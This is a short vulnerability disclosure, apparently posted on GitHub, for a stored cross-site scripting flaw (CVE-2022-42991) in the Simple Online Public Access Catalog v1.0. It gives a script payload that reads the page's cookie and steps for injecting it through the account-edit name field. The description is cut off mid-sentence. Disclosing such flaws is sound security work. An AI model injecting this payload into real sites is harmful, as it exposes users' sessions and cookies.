draco1725 Update and rename Stored XSS to XSS History

1 contributor

29 lines (22 sloc) | 1.01 KB

```
# Exploit Title: Simple Online Public Access Catalog - Stored XSS
# Exploit Author: Pratik Shetty
# Vendor Name: oretnom23
# Vendor Homepage: https://www.sourcecodester.com/php/15028/simple-online-public-access-catalog-op
# Software Link: https://www.sourcecodester.com/php/15028/simple-online-public-access-catalog-opac
# Version: v1.0
# Tested on: Windows 10, Apache
# CVE: CVE-2022-42991


Description:-
 A stored cross-site scripting (XSS) vulnerability in Simple Online Public Access Catalog v1.0 all

`
Payload used:-
<script>confirm (document.cookie)</script>

`
Parameter":-
Full Name: <script>confirm (document.cookie)</script>


`
Steps to reproduce:-

1. Login into your account
2. Now go to "Edit account" near your profile
3. In that "First Name" parameter put the payload.
4. As you can see our payload has been executed.
```